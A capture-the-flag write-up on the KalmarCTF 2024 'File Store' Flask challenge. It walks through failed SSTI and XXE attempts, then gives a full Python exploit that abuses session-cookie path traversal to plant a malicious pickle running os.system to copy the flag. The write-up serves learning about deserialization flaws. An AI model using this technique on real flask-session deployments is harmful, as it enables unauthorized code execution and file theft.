# KalmarCTF 2024 File Store
Writeup by [r2uwu2](https://github.com/r2dev2)
> Upload your files on the Kalmar File Store and share them with your friends.
[toc]
## Challenge
We are given a relatively simple flask application.
We can upload an image by clicking `Upload Image`.
![upload](https://hackmd.io/_uploads/SkmPv9XRp.png)
We can then view the image by clicking on the image.
```python=
import os
from flask import Flask, redirect, render_template, request, session
from flask_session import Session
SESSION_TYPE = "filesystem"
MAX_CONTENT_LENGTH = 1024 * 1024
app = Flask(__name__)
app.config.from_object(__name__)
Session(app)
@app.route("/", methods=["GET", "POST"])
def index():
path = f"static/uploads/{session.sid}"
if request.method == "POST":
f = request.files["file"]
if ".." in f.filename:
return "bad", 400
os.makedirs(path, exist_ok=True)
f.save(path + "/" + f.filename)
if not session.get("files"):
session["files"] = []
session["files"].append(f.filename)
return redirect("/")
return render_template("index.html", path=path, files=session.get("files", []))
if __name__ == "__main__":
app.run(host="0.0.0.0")
```
In this application, we have one endpoint to see all the files in our session and another endpoint to upload files to our session. Our flag is in `/flag.txt` and we must exfiltrate it.
## Attempt 1: Failed SSTI RCE
The session id is the value of the `session` cookie in flask. It is well-known that in frameworks like flask, if we can write to the `templates` directory, we can perform a [Server-Side Template Injection (SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) and achieve arbitrary code execution. I crafted a payload to send, but was met with an error:
![ssti error](https://hackmd.io/_uploads/rkV5LcQ0a.png)
Unfortunately, we are not able to craft a malicious template because our user does not have the permissions to do so.
```dockerfile=
FROM python:3.11-slim
RUN python3 -m pip install flask flask-session gunicorn
RUN useradd ctf
COPY flag.txt /flag.txt
WORKDIR /app
COPY app.py .
COPY templates/ templates/
COPY static/style.css static/
RUN mkdir -p static/uploads flask_session
RUN chmod 777 static/uploads flask_session
USER ctf
CMD gunicorn --bind :5000 app:app
```
As declared in the `Dockerfile`, we run as the `ctf` user who only has write access to `static/uploads` and `flask_session` directories. `static/uploads` is where the images are uploaded and `flask_session` contains session information.
## Attempt 2: Failed LFI via XXE
Since I am able to upload to `static/uploads`, I tried uploading an xml file to perform a [local file inclusion via XXE](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection). The first example in the link is a test for whether the server is vulnerable to XXE.
```xml!
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
```
If the server is vulnerable to an XXE, `&example` will be substituted with the `ENTITY` definition. This would indicate that we have the ability to read a file as we can set an entity to a file we want to read.
However, we get this reponse back:
![john doe](https://hackmd.io/_uploads/Hy7F_qmRa.png)
Unfortunately for us, flask's xml handling does not expand out `ENTITY` so we will not be able to LFI.
## Attempt 3: RCE via Session Overwriting
Other than `static/uploads`, we can overwrite all the `flask_session/*` session objects. I ran a bash shell in the docker to experiment around.
![flask session](https://hackmd.io/_uploads/B1EFtcQAT.png)
Looking around in the directory, we have a file for each session. The file name does not match the session id. Each session seems to be some form of serialized object. I decided to look at `flask-session` source code.
The filesystem session seems to use [cachelib library](https://github.com/pallets-eco/cachelib) as indicated by [below code](https://github.com/pallets-eco/flask-session/blob/41e2771055e1e533da6cdb84efea68751d0fe618/src/flask_session/sessions.py#L359):
```python=357
from cachelib.file import FileSystemCache
self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
```
Looking into [cachelib code](https://github.com/pallets-eco/cachelib/blob/18bb52cc29a07f7f0d7992d682d769f3497851b4/src/cachelib/file.py#L203), the cache is fairly suspicious:
```python=203
def get(self, key: str) -> _t.Any:
filename = self._get_filename(key)
try:
with self._safe_stream_open(filename, "rb") as f:
pickle_time = struct.unpack("I", f.read(4))[0]
if pickle_time == 0 or pickle_time >= time():
return self.serializer.load(f)
except FileNotFoundError:
pass
except (OSError, EOFError, struct.error):
logging.warning(
"Exception raised while handling cache file '%s'",
filename,
exc_info=True,
)
return None
```
It seems like if we set the first 4 bytes of the filename to `0`, it decides it's pickle time and unpickles the pickle (one can see explicit pickle calls in other files).
If we snoop around the `cachelib` codebase, we can see that the filename is generated by `md5` hashing the key name. We can now overwrite arbitrary sessions.
## Exploit (It's so Pickling Time)
It's pickling time woo.
Our overall flow looks like:
1. Create a session `owo` by uploading a picture (let's make it a picture of [alex](https://github.com/bkrl) typing for extra hacking powers)
2. Set our session to `../../flask_session` and upload a pickle with file name `md5("owo")` - the pickle copies `/flag.txt` to `/app/static/uploads` so we can read it later
3. Send a request using session `owo` to load our malicious pickle
4. Send a `GET /static/uploads/flag.txt` request and acquire the flag
The flag has now been captured
![flag](https://hackmd.io/_uploads/B16sn9mRp.png)
```python=
import pickle
import requests
import io
import os
# sess = "Jfa72ikLQaW41AoNhhkCZvw1pVklvyLkch33oXo4Tz8"
# base_url = "http://0.0.0.0:5000/"
base_url = "https://0d268116a5f57f10e5aa63f3d1e31e82-46847.filestore.chal-kalmarc.tf/"
url = lambda end: f"{base_url.rstrip('/')}{end}"
sess = "owo"
dummy = "alextype.png"
sess_hash = "938b5b91ebed323d56c80104a075b57e"
s = requests.Session()
s.cookies["session"] = sess
with open("/home/rbadhe/Pictures/alextype.png", "rb") as fin:
r = s.get(url("/"), files={"file": fin})
print("Uploading image")
print(r)
print(r.text)
# shell pickle time
class Sh:
def __reduce__(self):
return (os.system, ("cp /flag* /app/static/uploads/flag.txt",))
s.cookies["session"] = f"../../flask_session"
with open(sess_hash, "wb+") as fout:
# need leading 4 bytes of 0 to tell flask-session that this is a pickle
fout.write(bytes([0] * 4))
pickle.dump(Sh(), fout)
with open(sess_hash, "rb") as fin:
r = s.post(url("/"), files={"file": fin})
print("Uploading pickle")
print(r)
print(r.text)
s.cookies["session"] = sess
r = s.get(url("/"))
print("Triggering pickle", r)
r = s.get(url("/static/uploads/flag.txt"))
print(r)
print(r.text)
```